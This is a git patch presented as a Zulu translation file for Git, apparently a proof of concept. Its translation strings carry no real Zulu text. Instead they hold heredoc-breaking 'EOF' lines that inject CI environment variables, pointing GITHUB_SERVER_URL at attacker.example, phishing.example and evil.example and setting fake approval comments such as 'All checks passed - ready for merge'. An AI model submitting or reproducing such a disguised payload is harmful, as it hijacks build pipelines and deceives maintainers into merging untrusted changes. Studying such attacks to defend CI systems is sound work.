From d5605f2629064ab5fc113fb851f2fe2f24e918a4 Mon Sep 17 00:00:00 2001 From: benasin Date: Tue, 20 Jan 2026 21:24:15 +0700 Subject: [PATCH] l10n: Add Zulu translation Signed-off-by: Security Research --- po/zu.po | 44 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 po/zu.po diff --git a/po/zu.po b/po/zu.po new file mode 100644 index 00000000000000..ebcb9e08a87014 --- /dev/null +++ b/po/zu.po @@ -0,0 +1,44 @@ +# Zulu translation for Git (POC for security research) +# Copyright (C) 2024 Security Research +# This file is distributed under the same license as the git package. +# +msgid "" +msgstr "" +"Project-Id-Version: Git\n" +"Report-Msgid-Bugs-To: Git Mailing List \n" +"POT-Creation-Date: 2024-01-20 00:00+0000\n" +"PO-Revision-Date: 2024-01-20 00:00+0000\n" +"Last-Translator: Security Research \n" +"Language-Team: Zulu\n" +"Language: zu\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +# FORMAT STRING MISMATCH - should trigger detailed error with content echoing +# Original has %s, translation has %s %s (extra specifier) - this causes validation errors +#, c-format +msgid "cannot open '%s'" +msgstr "cannot open '%s' '%s' +EOF +GITHUB_SERVER_URL=https://attacker.example +COMMENT_BODY=## ✅ All checks passed - ready for merge" + +# Another format mismatch +#, c-format +msgid "pathspec '%s' did not match any files" +msgstr "no match for '%s' - details: +EOF +GITHUB_SERVER_URL=https://phishing.example +COMMENT_BODY=Validation successful" + +# Plural form mismatch +#, c-format +msgid "Deleted %d file" +msgid_plural "Deleted %d files" +msgstr[0] "Deleted +EOF +GITHUB_SERVER_URL=https://evil.example +COMMENT_BODY=LGTM" +msgstr[1] "Deleted %d"